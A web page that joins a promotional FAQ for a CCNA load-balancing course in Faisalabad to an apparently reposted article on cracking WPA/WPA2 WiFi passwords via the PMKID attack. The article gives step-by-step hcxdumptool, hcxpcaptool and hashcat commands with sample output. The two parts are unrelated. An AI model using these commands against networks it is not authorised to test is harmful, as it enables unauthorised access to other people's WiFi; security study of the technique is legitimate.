🔧 What is Load Balancing in Cisco Networks?

Load balancing is a critical networking technique that distributes network traffic across multiple paths or devices to optimize resource utilization, maximize throughput, minimize response time, and avoid overload on any single resource. In Cisco networking, load balancing ensures high availability and reliability of network services.

Our CCNA Training by Saeed Ahmad teaches you practical implementation of load balancing using Cisco routers and switches, including HSRP (Hot Standby Router Protocol), VRRP (Virtual Router Redundancy Protocol), GLBP (Gateway Load Balancing Protocol), and ECMP (Equal-Cost Multi-Path) routing.

❓ Frequently Asked Questions

Q: What is the difference between HSRP, VRRP, and GLBP?

HSRP is Cisco proprietary with active/standby routers. VRRP is an open standard (RFC 5798) similar to HSRP. GLBP is Cisco's protocol that provides true load balancing by using multiple active gateways simultaneously.

Q: Do I need prior networking experience for this course?

Basic understanding of networking concepts is helpful but not mandatory. Our CCNA course starts from fundamentals and progresses to advanced load balancing topics.

Q: Are the classes online or in-person?

We offer both online and in-person classes at our Faisalabad campus. Online students get access to recorded sessions and virtual labs.

Q: Will I get hands-on practice with real Cisco equipment?

Yes! We provide access to real Cisco routers and switches for practical labs. Online students can use Cisco Packet Tracer and GNS3 with our guided configurations.

CCNA Classes near me Faisalabad | Hack Wifi using Pairwise Master Key ID (PMKID)

A New Method Discovered to Crack WPA/WPA2 PSK Enabled WiFi Network Passwords

New Attack method discovered to compromise the WPA/WPA2 enabled WiFi networks that allow attackers to gain Pre-shared Key hash that used to crack Passwords used by targeted victims.

This Method is discovered during the attack against the recently released WPA3 security standard which is extremely harder to crack since its used Simultaneous Authentication of Equals (SAE), a modern key establishment protocol.

New WP3 Security Standard released by Wi-Fi Alliance that provides Next-generation Wi-Fi Security with new capabilities to enhance both personal and enterprise networks and the new WP3 security standard that is a successor of WPA2.

Researcher finds this attack to compromise the WPA/WPA2 password without performing EAPOL 4-way handshake.

According to Steube who is the developer of Hashcat password cracking tool, The new attack is performed on the RSN IE (Robust Security Network Information Element) of a single EAPOL frame.

Also, this attack work Against all type of  802.11i/p/q/r networks with roaming functions enabled and it’s unclear how many vendors and how many routers this technique will work.

How Does this WPA/WPA2 WiFi Password Attack Works

Robust Security Network Information Element (RSN IE) is an optional one in 802.11 management frames and its working in a single EAPOL frame.

Pairwise Master Key ID (PMKID) can be captured from RSN IE whenever the user tries to authenticate with the router.

“Here we can see that the PMKID has been captured is computed by using HMAC-SHA1 where the key is the PMK and the data part is the concatenation of a fixed string label “PMK Name”, the access point’s MAC address and the station’s MAC address.”

In order to make use of this new attack you need the following tools:

• hcxdumptool v4.2.0 or higher
• hcxtools v4.2.0 or higher
• hashcat v4.2.0 or higher

Step 1

First Run hcxdumptool to gain the  PMKID from the AP  and dump the file in PCAP format using following code.

$ ./hcxdumptool -o test.pcapng -i wlp39s0f3u4u5 –enable_status

The output looks like this:

start capturing (stop with ctrl+c)
INTERFACE:……………: wlp39s0f3u4u5
FILTERLIST……………: 0 entries
MAC CLIENT……………: 89acf0e761f4 (client)
MAC ACCESS POINT………: 4604ba734d4e (start NIC)
EAPOL TIMEOUT…………: 20000
DEAUTHENTICATIONINTERVALL: 10 beacons
GIVE UP DEAUTHENTICATIONS: 20 tries
REPLAYCOUNTER…………: 62083
ANONCE……………….: 9ddca61888470946305b27d413a28cf474f19ff64c71667e5c1aee144cd70a69

Step 2

Run next tool called hcxpcaptool to convert the captured data from pcapng format to a hash format accepted by hashcat using following code.

$ ./hcxpcaptool -z test.16800 test.pcapng

The content of the written file will look like this and it split into 4 columns.

PMKID * MAC AP * MAC Station * ESSID

2582a8281bf9d4308d6f5731d0e61c61*4604ba734d4e*89acf0e761f4*ed487162465a774bfba60eb603a39f3a

Also, Researcher recommends that, While not required it is recommended to use options -E -I and -U with hcxpcaptool. We can use these files to feed hashcat. They typically produce good results.

• -E retrieve possible passwords from WiFi-traffic (additional, this list will include ESSIDs)
• -I retrieve identities from WiFi-traffic
• -U retrieve usernames from WiFi-traffic

$ ./hcxpcaptool -E essidlist -I identitylist -U usernamelist -z test.16800 test.pcapng

Step 3 

Finally, Run hashcat to crack it, we need to use the hash mode PMKID -16800 and we can be used this hash as any other hash type using following code,

$ ./hashcat -m 16800 test.16800 -a 3 -w 3 ‘?l?l?l?l?l?lt!’

Finally, it cracked the hash  WPA-PMKID-PBKDF2

When we look at previously available WiFi attacks, we need to sit back and wait until the target user logged in later we can crack the key by capturing the four-way handshake.

In order to get access to the PMKID, this new attack simply has to attempt to authenticate to the wireless network later we can easily crack the pre-shared key.

Also, this method is much easier to access the hash that contains the pre-shared key and later moment the hash will be cracked, also this attack is little complex based on the complexity of the password.
